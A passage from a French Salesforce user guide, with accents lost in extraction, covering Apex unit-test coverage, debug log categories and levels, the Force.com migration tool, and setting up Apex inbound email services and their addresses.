sur le nom de la classe, puis cliquez sur Excuter le test. Si votre classe appelle une autre classe ou provoque l'excution d'un
dclencheur, ces scripts Apex sont inclus dans le volume total utilis pour le calcul du pourcentage de code couvert.
Pour excuter tous les tests unitaires de votre entreprise, cliquez sur Configuration Dvelopper Classes Apex, puis
cliquez sur Excuter tous les tests.
La page de rsultats pour l'excution des tests unitaires contient les sections ci-dessous. Chaque section peut tre dveloppe
ou rduite.

Dvelopper

Guide de l'utilisateur | Excution de tests unitaires Apex | 905

Une section rcapitulative dtaillant le nombre de tests excuts, le nombre d'checs et le pourcentage de scripts Apex
couverts par les tests unitaires
Important:
-

Vous devez disposer d'au moins 75 % de scripts Apex couverts par des tests unitaires pour pouvoir dployer
vos scripts dans les environnements de production. En outre, tous les dclencheurs doivent galement avoir
une couverture de test.
Salesforce.com recommande de couvrir 100 % des scripts par des tests unitaires lorsque cela est possible.
Les appels System.debug ne font pas partie de la couverture de code Apex dans les tests unitaires.

Les checs de test (le cas chant)

Une section de couverture de code
Cette section rpertorie toutes les classes et tous les dclencheurs de votre organisation ainsi que le pourcentage de lignes
de code dans chaque classe et dclencheur qui sont couvertes par des tests. Si vous cliquez sur la valeur du pourcentage de
couverture, une page s'ouvre et indique en bleu toutes les lignes de code de cette classe ou de ce dclencheur qui sont
couvertes par des tests et en rouge toutes les lignes de code qui ne sont pas couvertes par des tests. Elle indique galement
le nombre d'excutions par le test d'une ligne donne dans la classe ou le dclencheur.

Des avertissements de couverture de test (le cas chant)

Le journal de dbogage
Le journal de dbogage est automatiquement paramtr sur le niveau de consignation PROFILE. Vous ne pouvez pas
modifier le niveau de consignation. Le niveau de consignation PROFILE comprend des messages de journal gnrs par
des appels System.debug(), chaque instruction DML ou requte SOQL ou SOSL en ligne, et l'entre et la sortie de
chaque mthode dfinie par l'utilisateur. Par ailleurs, la fin du journal de dbogage contient des informations globales de
profil pour la plupart des parties de la demande ayant utilis le plus de ressources, au niveau des instructions SOQL ou
SOSL, des oprations DML et des appels de mthode Apex. Ces trois sections rpertorient les emplacements du code
ayant consomm le plus de temps, par ordre dcroissant du temps cumul total, ainsi que le nombre d'excutions.

Pour plus d'informations sur le journal de dbogage, reportez-vous Affichage des dtails du journal de dbogage la page
330.

Voir aussi :
Prsentation du code Apex Force.com
Qu'est-ce qu'un journal de dbogage ?
Configuration des catgories et niveaux du journal de dbogage
Affichage des dtails du journal de dbogage
Dfinition des classes Apex

Dvelopper

Guide de l'utilisateur | Qu'est-ce qu'un journal de dbogage ? | 906

Qu'est-ce qu'un journal de dbogage ?

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Un journal de dbogage enregistre les erreurs et les processus systme survenant au sein de votre entreprise. Les journaux de
dbogage contiennent des informations sur :

Les modifications de base de donnes

Les processus automatiss de workflow tels que :
-

Rgles de workflow
Rgles d'attribution
Rgles de hirarchisation
Rgles de rponse automatique
Processus d'approbation

Les rgles de validation

Le XML de requte-rponse
Erreurs de script Apex
Ressources utilises par un script Apex

Plus prcisment, un journal de dbogage contient les lments suivants :

Catgorie de journal

Description

Aucune

Ne consigne aucune information. Si vous slectionnez cette catgorie, le niveau de

consignation que vous slectionnez n'a pas d'importance.

Base de donnes

Comprend des informations sur l'activit de la base de donnes, y compris chaque

instruction du langage de manipulation de donnes (DML) ou chaque requte en
ligne SOQL ou SOSL.

Workflow

Inclut les informations suivantes pour les rgles de workflow :

Nom de rgle
Heures de dbut et de fin
Nom, type et ID de l'enregistrement rpondant aux critres
Expditeur de l'enregistrement ayant dclench la rgle de workflow.
Critres de l'valuation et statut (vrai ou faux)
Dclencheurs temporels avec calcul des dates et heures prvues
Actions de workflow entreprises
Message indiquant qu'une mise jour de champ a t ignore si la valeur existante
et la valeur mise jour correspondent
Inclut les lments suivants pour les rgles d'attribution :
Nom de la rgle
Squence d'valuation

Dvelopper

Catgorie de journal

Guide de l'utilisateur | Qu'est-ce qu'un journal de dbogage ? | 907

Description

Critres d'valuation
Statut de la rgle (vraie ou fausse)
Nom de l'utilisateur ou de la file d'attente auxquels l'enregistrement est attribu

Inclut les lments suivants pour les rgles de rponse automatique :

Nom de la rgle
Squence d'valuation
Critres
Statut de la rgle (vraie ou fausse)
Nom de l'utilisateur ou de la file d'attente auxquels l'enregistrement est attribu
Adresse e-mail laquelle la notification de rponse automatique est envoye et ID
du modle d'email utilis
Inclut les lments suivants pour les rgles de hirarchisation :
Nom de la rgle
Squence d'valuation
Critres
Statut de la rgle (vraie ou fausse)
Statut de la hirarchisation de la requte (que celle-ci ait t hirarchise ou non)
Inclut les lments suivants pour les processus d'approbation :
Nom de l'utilisateur actuel soumettant l'enregistrement pour approbation
Modle d'e-mail utilis pour les alertes par e-mail
Nom du processus d'approbation et son statut (vrai ou faux)
Actions de soumission initiale
Nom de l'tape actuelle
Rponse d'approbation tapes et heure de dbut
Nom de l'utilisateur rpondant la demande d'approbation
Action d'approbation entreprise (approuve, refuse, rattribue)
Commentaires entrs
Actions entreprises chaque tape
Actions d'approbation finale ou de refus final
Validation

Inclut les lments suivants pour les rgles de validation :

Nom de la rgle
Heures de dbut et de fin
Formule de condition d'erreur
Valeurs de chaque champ rfrenc dans la formule
Si la rgle a t value comme vraie ou fausse

Appel

Inclut le XML de requte-rponse que le serveur envoie et reoit d'un service Web
externe. Ceci est utile lors du dbogage de problmes lis l'utilisation des appels API
des services Web Force.com.

Dvelopper

Guide de l'utilisateur | Qu'est-ce qu'un journal de dbogage ? | 908

Catgorie de journal

Description

Code Apex

Inclut des informations sur les scripts Apex, tels que des messages de journal gnrs
par des appels la mthode System.debug, des instructions DML, des requtes en
ligne SOQL ou SOSL, le dbut et la fin de chaque dclencheur, les ressources totales
utilises et le dbut et la fin de chaque mthode de test.

Apex Profiling

Inclut des informations cumules de profil, notamment :

Les instructions SOQL ayant utilis le plus de ressources et tant des zones
probables d'optimisation des performances
Ces informations vous permettent de rpondre des questions telles que : Les
filtres de requte sont-ils slectifs ? Une relation est-elle dirige de telle manire
que le modle de donnes doive tre reconsidr ? Les requtes peuvent-elles tirer
profit des index personnaliss ? Si vous rpondez oui l'une de ces questions,
rectifiez votre requte ou modle de donnes, ou contactez le support client
salesforce.com pour en savoir plus sur l'indexation des champs personnaliss de
texte, numriques et de date, et pour plus d'informations sur l'optimisation des
requtes en gnral.

Le nombre d'appels mthode Apex

Le temps total ncessaire chaque appel de mthode pour le traitement, par ordre
dcroissant
Utilisez la liste des appels de mthode Apex utilisant le plus de ressources afin de
rechercher les routines les plus longues. Notez que les routines de niveau extrieur
signalent la dure de toutes les routines qu'elles appellent. Par consquent, il est
gnralement prfrable de trouver les routines les plus intrieures utilisant le plus
de temps. Il est probable que les routines intrieures utilisent de nombreuses
ressources parce qu'elles contiennent des oprations de base de donnes, comme
des instructions SOQL ou DML.

Pour plus d'informations sur les niveaux des journaux de dbogage, reportez-vous Dfinition des catgories et des niveaux
du journal de dbogage.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des journaux de dbogage
Conservation des journaux de dbogage
Affichage des dtails du journal de dbogage
Configuration des catgories et niveaux du journal de dbogage
Excution de tests unitaires Apex

Dvelopper

Guide de l'utilisateur | Configuration des catgories et niveaux du journal de dbogage | 909

Configuration des catgories et niveaux du journal de

dbogage
Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour utiliser la console du journal systme :

Afficher toutes les donnes

Pour utiliser la zone de saisie :

Auteur Apex

En utilisant la console du journal systme, vous pouvez spcifier les lments suivants concernant les journaux de dbogage :
Catgorie de consignation

Le type d'informations consignes, telles que des informations de scripts Apex ou des rgles de workflow. Pour plus
d'informations, consultez la rubrique Catgories du journal de dbogage la page 909.
Niveau de consignation

La quantit d'informations consignes. Pour le moment, seule la catgorie de consignation Code Apex utilise ces niveaux.
Le niveau est cumulatif. Par exemple, le niveau de plus bas, Erreur, erreur de journaux, avertissement et les messages
d'information. Si vous slectionnez le niveau Bon, le journal de dbogage contient une erreur, un avertissement et des
messages d'information ainsi que des statistiques gnrales d'utilisation des ressources. Pour plus d'informations, consultez
la rubrique Niveaux du journal de dbogage la page 911.
Catgories du journal de dbogage
Vous pouvez indiquer les catgories de consignation suivantes :
Catgorie de consignation

Description

Aucune

Ne consigne aucune information. Si vous slectionnez cette catgorie, le niveau de

consignation que vous slectionnez n'a pas d'importance.

Base de donnes

Comprend des informations sur l'activit de la base de donnes, y compris chaque

instruction du langage de manipulation de donnes (DML) ou chaque requte en
ligne SOQL ou SOSL.

Workflow

Inclut les informations suivantes pour les rgles de workflow :

Nom de rgle
Heures de dbut et de fin
Nom, type et ID de l'enregistrement rpondant aux critres
Expditeur de l'enregistrement ayant dclench la rgle de workflow.
Critres de l'valuation et statut (vrai ou faux)
Dclencheurs temporels avec calcul des dates et heures prvues
Actions de workflow entreprises
Message indiquant qu'une mise jour de champ a t ignore si la valeur existante
et la valeur mise jour correspondent

Dvelopper

Catgorie de consignation

Guide de l'utilisateur | Configuration des catgories et niveaux du journal de dbogage | 910

Description
Inclut les lments suivants pour les rgles d'attribution :
Nom de la rgle
Squence d'valuation
Critres d'valuation
Statut de la rgle (vraie ou fausse)
Nom de l'utilisateur ou de la file d'attente auxquels l'enregistrement est attribu
Inclut les lments suivants pour les rgles de rponse automatique :
Nom de la rgle
Squence d'valuation
Critres
Statut de la rgle (vraie ou fausse)
Nom de l'utilisateur ou de la file d'attente auxquels l'enregistrement est attribu
Adresse e-mail laquelle la notification de rponse automatique est envoye et ID
du modle d'email utilis
Inclut les lments suivants pour les rgles de hirarchisation :
Nom de la rgle
Squence d'valuation
Critres
Statut de la rgle (vraie ou fausse)
Statut de la hirarchisation de la requte (que celle-ci ait t hirarchise ou non)
Inclut les lments suivants pour les processus d'approbation :
Nom de l'utilisateur actuel soumettant l'enregistrement pour approbation
Modle d'e-mail utilis pour les alertes par e-mail
Nom du processus d'approbation et son statut (vrai ou faux)
Actions de soumission initiale
Nom de l'tape actuelle
Rponse d'approbation tapes et heure de dbut
Nom de l'utilisateur rpondant la demande d'approbation
Action d'approbation entreprise (approuve, refuse, rattribue)
Commentaires entrs
Actions entreprises chaque tape
Actions d'approbation finale ou de refus final

Validation

Inclut les lments suivants pour les rgles de validation :

Nom de la rgle
Heures de dbut et de fin
Formule de condition d'erreur
Valeurs de chaque champ rfrenc dans la formule
Si la rgle a t value comme vraie ou fausse

Appel

Inclut le XML de requte-rponse que le serveur envoie et reoit d'un service Web
externe. Ceci est utile lors du dbogage de problmes lis l'utilisation des appels API
des services Web Force.com.

Dvelopper

Guide de l'utilisateur | Configuration des catgories et niveaux du journal de dbogage | 911

Catgorie de consignation

Description

Code Apex

Inclut des informations sur les scripts Apex, tels que des messages de journal gnrs
par des appels la mthode System.debug, des instructions DML, des requtes en
ligne SOQL ou SOSL, le dbut et la fin de chaque dclencheur, les ressources totales
utilises et le dbut et la fin de chaque mthode de test.

Apex Profiling

Inclut des informations de profil, notament :

Les instructions SOQL ayant utilis le plus de ressources et tant des zones
probables d'optimisation des performances
Ces informations vous permettent de rpondre des questions telles que : Les
filtres de requte sont-ils slectifs ? Une relation est-elle dirige de telle manire
que le modle de donnes doive tre reconsidr ? Les requtes peuvent-elles tirer
profit des index personnaliss ? Si vous rpondez oui l'une de ces questions,
rectifiez votre requte ou modle de donnes, ou contactez le support client
salesforce.com pour en savoir plus sur l'indexation des champs personnaliss de
texte, numriques et de date, et pour plus d'informations sur l'optimisation des
requtes en gnral.

Le nombre d'appels de mthode Apex

Le temps total ncessaire chaque appel de mthode pour le traitement, par ordre
dcroissant
Utilisez la liste des appels de mthode Apex utilisant le plus de ressources afin de
rechercher les routines les plus longues. Notez que les routines de niveau extrieur
signalent la dure de toutes les routines qu'elles appellent. Par consquent, il est
gnralement prfrable de trouver les routines les plus intrieures utilisant le plus
de temps. Il est probable que les routines intrieures utilisent de nombreuses
ressources parce qu'elles contiennent des oprations de base de donnes, comme
des instructions SOQL ou DML.

Niveaux du journal de dbogage

Vous pouvez indiquer les niveaux de consignation suivants. Pour le moment, seule la catgorie de consignation Code Apex
utilise ces niveaux. Ces niveaux sont rpertoris du plus bas au plus lev. ce moment-l, tous les niveaux de consignation
ne produisent pas un rsultat distinct. Par exemple, les niveaux Erreur, Avertir, et Informations produisent tous la
mme quantit d'informations.
Niveau de consignation

Description

Erreur, Avertir, Informations Inclut des messages d'erreur, d'avertissement et d'information

Dbogage

Inclut des messages du niveau le plus bas ainsi que des messages gnrs par des appels
la mthode System.debug.

Bon, Meilleur

Inclut des messages de journal gnrs par des appels la mthode System.debug,
chaque instruction DML ou requte SOQL ou SOSL intgre, et l'entre et la sortie
de chaque mthode dfinie par l'utilisateur. Par ailleurs, la fin du journal de dbogage
contient des informations globales de profil pour des parties de la demande ayant utilis
le plus de ressources, au niveau des instructions SOQL et SOSL, des oprations DML
et des appels de mthode Apex. Ces trois sections rpertorient les emplacements du
code ayant consomm le plus de temps, par ordre dcroissant du temps cumul total,
ainsi que le nombre d'excutions.

Dvelopper

Guide de l'utilisateur | Utilisation d'outils Apex | 912

Niveau de consignation

Description

Meilleur

Inclut tous les messages gnrs par les niveaux de consignation Bon ou Meilleur
ainsi que des informations supplmentaires sur les scripts Apex, parmi lesquels :
Les instructions de dclaration de variable
Le dbut d'excutions de boucles
Tous les contrles de boucle tels que interrompre et continuer
Les exceptions leves
Le code d'initialisation statique et le code d'initialisation de classe
Toute modification dans le contexte partag avec

Voir aussi :
Qu'est-ce qu'un journal de dbogage ?
Gestion des journaux de dbogage
Affichage des dtails du journal de dbogage
Excution de tests unitaires Apex

Utilisation d'outils Apex

Disponible dans : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour utiliser l'outil de dploiement Apex :

Auteur Apex

Tlchargez l'outil de migration Force.com si vous voulez utiliser un script pour dployer Apex partir d'une organisation
Developer Edition ou Sandbox vers une organisation de production Salesforce.com en utilisant l'outil de construction Ant
d'Apache.
Pour tlcharger l'outil de migration Force.com :
1. Cliquez sur Configuration Dvelopper Outils.
2. Cliquez sur l'outil de migration Force.com.
3. Enregistrez le fichier salesforce_ant.zip et dcompressez son contenu dans le rpertoire de votre choix.
Le fichier salesforce_ant.zip contient les fichiers dont vous avez besoin pour excuter une tche Ant effectuant l'appel
API compileAndTest , notamment :

Un fichier Readme.html qui explique comment utiliser les outils.

Un fichier Jar contenant la tche Ant : ant-salesforce.jar
Un dossier exemple contenant :
-

Un dossier codepkg\classes qui contient SampleDeployClass.cls et SampleFailingTestClass.cls

Un dossier codepkg\triggers qui contient SampleAccountTrigger.trigger.

Dvelopper

Guide de l'utilisateur | Que sont les services de messagerie lectronique ? | 913

Un dossier mypkg\objects qui contient les objets personnaliss utiliss dans les exemples.
Un dossier removecodepkg qui contient des fichiers XML pour supprimer les exemples de votre organisation.
Un exemple de fichier build.properties que vous devez modifier en spcifiant vos informations d'identit pour
pouvoir excuter l'exemple et les tches dans build.xml.
Un exemple de fichier build.xml qui effectue les appels API deploy et retrieve.

Pour plus d'informations sur la syntaxe et l'utilisation d'Apex, reportez-vous au manuel Force.com Apex Code Developer's
Guide.
Vous pouvez galement tlcharger Force.com IDE qui peut vous aider crire du code Apex dans des projets refltant votre
organisation. Avec cet outil, vous pouvez galement compiler et tester le code que vous crivez, synchroniser les changements
entre l'entreprise et le projet, et dployer votre code vers une autre entreprise.
Remarque: Force.com IDE et l'Outil de migration Force.com sont des ressources fournies gratuitement par
salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas considrs comme faisant partie de nos Services
dans le cadre du Contrat d'abonnement principal salesforce.com.

Voir aussi :
Prsentation du code Apex Force.com

Que sont les services de messagerie lectronique ?

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
L'utilisation des services de messagerie dans les packages AppExchange installs est disponible dans : Group Edition et
Professional Edition

Autorisations utilisateur requises

Pour configurer les services de messagerie lectronique et les Modifier toutes les donnes
adresses du service de messagerie lectronique Apex :
Pour crer des classes Apex :

Auteur Apex

Les services de messagerie sont des processus automatiss qui utilisent des classes Apex pour traiter les contenus, les en-ttes
et les pices jointes des e-mails entrants. Par exemple, vous pouvez crer un service de messagerie qui cre automatiquement
des enregistrements de contact en fonction des informations de contact contenues dans les messages.
Vous pouvez associer chaque service de messagerie lectronique une ou plusieurs adresses e-mail gnres par Salesforce.com
laquelle des utilisateurs peuvent envoyer des messages pour traitement. Pour autoriser plusieurs utilisateurs utiliser un
unique service de messagerie lectronique, vous pouvez :

Associer plusieurs adresses e-mail gnres par Salesforce.com avec le service de messagerie lectronique et allouer ces
adresses des utilisateurs.
Associer une unique adresse e-mail gnre par Salesforce.comavec le service de messagerie lectronique et crire une classe
Apex qui s'excute en fonction de l'utilisateur accdant au service de messagerie lectronique. Par exemple, vous pouvez

Dvelopper

Guide de l'utilisateur | Que sont les services de messagerie lectronique ? | 914

crire une classe Apex qui identifie l'utilisateur en fonction de l'adresse e-mail de l'utilisateur et cre des enregistrements
pour le compte de cet utilisateur.
Pour utiliser des services de messagerie lectronique, cliquez sur Configuration Dvelopper Services de messagerie
lectronique.

Cliquez sur Nouveau service de messagerie lectronique pour dfinir un nouveau service de messagerie lectronique.
Slectionnez un service de messagerie lectronique existant pour afficher sa configuration, l'activer ou le dsactiver et afficher
ou spcifier des adresses pour ce service de messagerie lectronique.
Cliquez sur Modifier pour apporter des modifications un service de messagerie lectronique existant.
Cliquez sur Supprimer pour supprimer un service de messagerie lectronique.
Remarque: Avant de supprimer des services de messagerie, vous devez supprimer toutes les adresses de service de
messagerie associes.

Lors de la dfinition de services de messagerie lectronique, notez les lments suivants :

Un service de messagerie lectronique ne traite que des messages qu'il reoit l'une de ses adresses.
Salesforce.com limite le nombre total de messages que tous les services de messagerie lectronique combins, E-mail vers
requte la demandeinclus, peuvent traiter quotidiennement. Les messages qui dpassent cette limite sont renvoys, ignors
ou mis en file d'attente pour traitement le jour suivant, en fonction de votre configuration des paramtres de rponse d'chec
pour chaque service de messagerie lectronique. Salesforce.com calcule la limite en multipliant le nombre de licences
utilisateur par 1 000. Par exemple, si vous avez 10 licences, votre organisation peut traiter jusqu' 10 000 e-mails par jour.
Les adresses de services de messagerie lectronique que vous crez dans votre version test Sandbox ne peuvent pas tre
copies dans votre entreprise de production.
Les services de messagerie rejettent les e-mails qui dpassent les limites suivantes et notifient l'expditeur :
-

100 000 caractres (environ) dans le corps de texte brut

100 000 caractres (environ) dans le corps de texte HTML
100 000 caractres (environ) dans le texte de la pice jointe
5 Mo par pice jointe binaire
10 Mo par message entrant (corps de texte brut, HTML et pices jointes inclus)

Par exemple, les services de messagrie rejettent les e-mails suivants :

-

Un e-mail contenant les lments suivants qui dpassent la limite de 10 Mo par message entrant :

Un e-mail contenant les lments suivants qui dpassent la limite de 100 000 caractres (environ) pour un corps de
texte :

200 caractres de texte brut dans le corps du message.

500 caractres de texte HTML dans le corps du message.
Un pice jointe binaire de 11 Mo.

Une pice jointe binaire de 6 Mo.

Une pice jointe de 50 000 caractres de texte brut.
Une pice jointe de 5 000 caractres de texte brut.
105 000 caractres de texte brut dans le corps du message.

Un e-mail contenant les lments suivants qui dpassent la limite de 100 000 caractres (environ) pour un texte de pice
jointe :

Dvelopper

Guide de l'utilisateur | Dfinition des services de messagerie lectronique | 915

50 caractres de texte brut dans le corps du message.

Une pice jointe binaire de 2 Mo.
Une pice jointe de 200 000 caractres de texte brut.
Remarque: Pour viter le rejet des e-mails et la notification de l'expditeur, configurez les services de messagerie
pour tronquer le corps de texte brut, le corps de texte HTML et le texte de pices jointes qui dpassent 100 000
caractres (environ).
100 000 caractres reprsentent environ 100 Ko (non-DBCS) et plus de 200 Ko (DBCS ou Kanji). La limite de
100 000 caractres est approximative, car les caractres invisibles tels que sauts de ligne peuvent tre comptabiliss.
La limite en termes de caractres alphanumriques peut tre trs infrieure 100 000 caractres.

Pour chaque service de messagerie, vous pouvez indiquer Salesforce.com d'envoyer les messages d'erreur une adresse
spcifique la place de celle de l'expditeur.

Voir aussi :
Prsentation du code Apex Force.com
Utilisation de l'objet InboundEmail
Dfinition des services de messagerie lectronique
Dfinition des adresses du service de messagerie lectronique

Dfinition des services de messagerie lectronique

Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
L'utilisation des services de messagerie dans les packages AppExchange installs est disponible dans : Group Edition et
Professional Edition

Autorisations utilisateur requises

Pour configurer les services de messagerie lectronique et les Modifier toutes les donnes
adresses du service de messagerie lectronique Apex :
Pour crer des classes Apex :

Auteur Apex

Pour dfinir un service de messagerie lectronique :

1. Cliquez sur Configuration Dvelopper Services de messagerie lectronique.
2. Cliquez sur Nouveau service de messagerie lectronique ou sur Modifier pour modifier un service de messagerie
lectronique existant.
3. Spcifiez le nom du service de messagerie lectronique.

Dvelopper

Guide de l'utilisateur | Dfinition des services de messagerie lectronique | 916

4. Choisissez la classe Apex que vous souhaitez que ce service de messagerie lectronique utilise pour traiter les messages. La
classe Apex que vous choisissez doit implmenter l'interface Messaging.InboundEmailHandler. Par exemple :
global class myHandler implements Messaging.InboundEmailHandler { global
Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,
Messaging.InboundEnvelope envelope) { Messaging.InboundEmailResult result = new
Messaging.InboundEmailresult(); return result; } }

Pour plus d'informations sur l'objet InboundEmail, reportez-vous Utilisation de l'objet InboundEmail la page 920.
5. Choisissez les types de pices jointes de pices jointes que vous souhaitez que ce service de messagerie lectronique accepte.
Options possibles :
Aucune
Le service de messagerie lectronique accepte le message mais ignore toute pice jointe.
Textes joints uniquement
Le service de messagerie lectronique n'accepte que les types de pices jointes suivants :

Pices jointes avec un type MIME (Multipurpose Internet Mail Extension) text
Pices jointes avec un type MIME application/octet-stream et un nom de fichier qui finit par une
extension.vcf ou .vcs. Elles sont enregistres comme types MIME text/x-vcard et text/calendar,
respectivement.

La taille des pices jointes en texte est limite 100 Ko. Si votre pice jointe dpasse cette limite, votre e-mail vous
revient avec un message d'erreur.
Des messages avec pices jointes diffrentes de ces types sont accepts, mais les pices jointes sont ignores.
Pices jointes binaires uniquement
Le service de messagerie lectronique n'accepte que les pices jointes binaires, tels des fichiers images, d'application
et des fichiers audio et vido. La taille des pices jointes binaires est limite 5 Mo.
Des messages avec pices jointes qui ne sont pas binaires sont accepts, mais les pices jointes sont ignores.
Toutes
Le service de messagerie lectronique accepte tout type de pice jointe.
Remarque: Un service de messagerie lectronique ne peut traiter des pices jointes que si vous le configurez pour
accepter des pices jointes et utiliser une classe Apex qui traite les types de pices jointes que le service de messagerie
lectronique accepte.
Notez galement que les services de messagerie acceptent les pices jointes intgres dans le corps du message, tels
que les graphiques par exemple.
6. Si vous le souhaitez, cochez la case Authentifier les expditeurs pour configurer le service de messagerie
lectronique afin de vrifier la lgitimit du serveur expditeur avant de traiter un message. Le service de messagerie
lectronique utilise les protocoles d'authentification suivants pour vrifier la lgitimit de l'expditeur :

SPF
SenderId
DomainKeys

Dvelopper

Guide de l'utilisateur | Dfinition des services de messagerie lectronique | 917

Si le serveur expditeur passe au moins un de ces protocoles et qu'aucun n'choue, le service de messagerie accepte l'e-mail.
Si le serveur cause lchec dun protocole ou ne prend en charge aucun des protocoles, le service de messagerie lectronique
effectue l'action spcifie dans les paramtres de rponses d'chec Action d'expditeur non autoris.
Conseil: Avant de cocher la case Authentifier les expditeurs, assurez-vous que les expditeurs que
vous vous attendez voir utiliser le service de messagerie lectronique prennent en charge au moins un des protocoles
d'authentification indiqus ci-dessus. Pour plus d'informations sur ces protocoles d'identification, consultez les
sites Web suivants :

www.openspf.org
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. Pour viter le rejet des e-mails et la notification de l'expditeur par les services de messagerie, vous pouvez tronquer le corps
de texte brut, le corps de texte HTML et le texte de pices jointes qui dpassent 100 000 caractres (environ).
8. Si vous le souhaitez, configurez ce service de messagerie lectronique pour n'accepter des messages que de certains expditeurs
en indiquant leurs adresses e-mail et domaines dans la zone de texte Accepter un e-mail de. Sparez les entres
multiples par des virgules. Par exemple : george@mycompany.com, yahoo.com, gmail.com. Si la zone de texte Accepter
un e-mail de possde une valeur et que le service de messagerie lectronique reoit un message d'une adresse e-mail ou
d'un domaine non indiqu, le service de messagerie lectronique effectue l'action spcifie dans les paramtres de rponse
d'chec Action d'expditeur non autoris.
Laissez ce champ vide si vous souhaitez que le service de messagerie reoive des e-mails de nimporte quelle adresse e-mail.
Remarque: Vous pouvez aussi autoriser des adresses e-mail et des domaines au niveau adresse du service de
messagerie lectronique. Consultez la rubrique Dfinition des adresses du service de messagerie lectronique la
page 919.
Si le service de messagerie lectronique et l'adresse du service de messagerie lectronique sont configurs pour
n'accepter des messages que de certains utilisateurs, le service de messagerie lectronique ne traite que les messages
d'utilisateurs indiqus dans les zones de texte Accepter un e-mail de du service de messagerie lectronique
et de l'adresse du service de messagerie lectronique.
9. Cochez la case Actif si vous souhaitez que le service de messagerie lectronique soit activ lorsque vous cliquez sur
Enregistrer.
10. Configurez les paramtres de rponse d'chec, qui dterminent la faon dont le service de messagerie lectronique rpond
si une tentative d'accs ce service de messagerie lectronique choue pour les raisons suivantes :
Action de limitation du taux d'e-mails

Dtermine ce que le service de messagerie lectronique fait des messages si le nombre total de messages traits par
tous les services de messagerie lectronique combins a atteint la limite quotidienne de votre entreprise. Salesforce.com
calcule la limite en multipliant le nombre de licences utilisateur par 1 000. Par exemple, si vous avez 10 licences, votre
organisation peut traiter jusqu' 10 000 e-mails par jour.
Action d'adresse lectronique dsactive

Dtermine ce que le service de messagerie lectronique fait des messages reus une adresse lectronique inactive.
Action de service de messagerie lectronique dsactive

Dtermine ce que le service de messagerie lectronique fait des messages qu'il reoit lorsque ce service est inactif.

Dvelopper

Guide de l'utilisateur | Dfinition des services de messagerie lectronique | 918

Action d'expditeur non authentifi

Dtermine ce que le service de messagerie lectronique fait des messages qui chouent ou qui ne supportent aucun
des protocoles d'identification si la case Authentifier les expditeurs est coche.
Action d'expditeur non autoris

Dtermine ce que le service de messagerie lectronique fait des messages reus d'expditeurs qui ne sont pas indiqus
dans la zone de texte Accepter un e-mail de du service de messagerie lectronique ou de l'adresse du service
de messagerie lectronique.
Les options de rponse d'chec sont :
Message de renvoi
Le service de messagerie renvoie l'e-mail l'expditeur ou l'Utilisateur de requte automatique de la
fonction E-mail vers requte la demande, avec une notification prsentant le motif du renvoi.
Ignorer le message
Le service de messagerie lectronique supprime le message sans avertir l'expditeur.
Replacer le message dans la file d'attente (uniquement pour l'Action de limitation du taux d'e-mails)
Le service de messagerie lectronique place le message dans la file d'attente pour un traitement dans les 24 heures
qui suivent. Si le message n'est pas trait dans les 24 heures, le service de messagerie renvoie l'e-mail l'expditeur
avec une notification qui prsente le motif du refus.
11. Pour envoyer par e-mail des messages d'erreur une adresse spcifie au lieu de l'adresse e-mail de l'expditeur, activez
l'acheminement des erreurs et spcifiez l'adresse e-mail de destination dans Acheminer les e-mails d'erreur
vers cette adresse e-mail. Cette option vite de notifier l'expditeur lorsque les services de messagerie ne peuvent
pas traiter un e-mail entrant.
12. Cliquez sur Enregistrer pour enregistrer vos modifications ou sur Enregistrer et nouvelle adresse e-mail pour crer des
adresses e-mail pour ce service de messagerie lectronique, comme indiqu la rubrique Dfinition des adresses du service
de messagerie la page 919.

Voir aussi :
Prsentation du code Apex Force.com
Utilisation de l'objet InboundEmail
Que sont les services de messagerie lectronique ?
Dfinition des adresses du service de messagerie lectronique
Activation et configuration de la fonction E-mail vers requte la demande

Dvelopper

Guide de l'utilisateur | Dfinition des adresses du service de messagerie lectronique | 919

Dfinition des adresses du service de messagerie

lectronique
Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
L'utilisation des services de messagerie dans les packages AppExchange installs est disponible dans : Group Edition et
Professional Edition

Autorisations utilisateur requises

Pour configurer les adresses du service de messagerie
Modifier toutes les donnes
lectronique et les services de messagerie lectronique Apex :
Pour crer des classes Apex :

Auteur Apex

Pour dfinir une adresse du service de messagerie lectronique :

1. Cliquez sur Configuration Dvelopper Services de messagerie lectronique.
2. Choisissez le service de messagerie lectronique pour lequel vous souhaitez dfinir une adresse :
3. Cliquez sur Nouvelle adresse e-mail ou sur Modifier pour modifier la configuration d'une adresse existante de service de
messagerie lectronique. Pour supprimer une adresse de service de messagerie, cliquez sur Afficher et sur Supprimer.
4. Dans le champ Adresse e-mail, saisissez la partie locale de l'adresse du service de messagerie lectronique. Salesforce.com
gnre.une partie de domaine unique pour chaque adresse de service de messagerie lectronique afin de s'assurer qu'il
n'existe pas deux adresses de service de messagerie lectronique identiques. La partie de domaine gnre apparat la
droite du champ Adresse e-mail.
Conseil: Pour la partie locale de l'adresse e-mail Salesforce.com, tous les caractres alphanumriques sont valides,
plus les caractres spciaux suivants : !#$%&'*/=?^_+-`{|}~. Pour la partie domaine de l'adresse e-mail Salesforce.com,
seuls les caractres alphanumriques sont valides, ainsi que le tiret (-). Le caractre point (.) est aussi valide la fois
dans la partie locale et dans la partie domaine s'il n'est ni le premier ni le dernier caractre.
Les adresses e-mail Salesforce.com ne sont pas sensibles la casse.
5. Cochez la case Actif si vous souhaitez que l'adresse du service de messagerie lectronique soit active lorsque vous cliquez
sur Enregistrer.
6. Choisissez l'Utilisateur contextuel. Le service de messagerie lectronique assume l'autorisation de l'utilisateur
contextuel lors du traitement des messages que reoit cette adresse. Par exemple, si le service de messagerie lectronique
est configur pour modifier des enregistrements de contact lors de la rception d'informations de contact mises jour, le
service de messagerie lectronique ne modifie qu'un enregistrement si l'utilisateur contextuel possde l'autorisation de
modifier cet enregistrement.
Important: Choisissez un utilisateur contextuel qui possde l'autorisation d'excuter la classe Apex pour laquelle
le service de messagerie lectronique est configur.
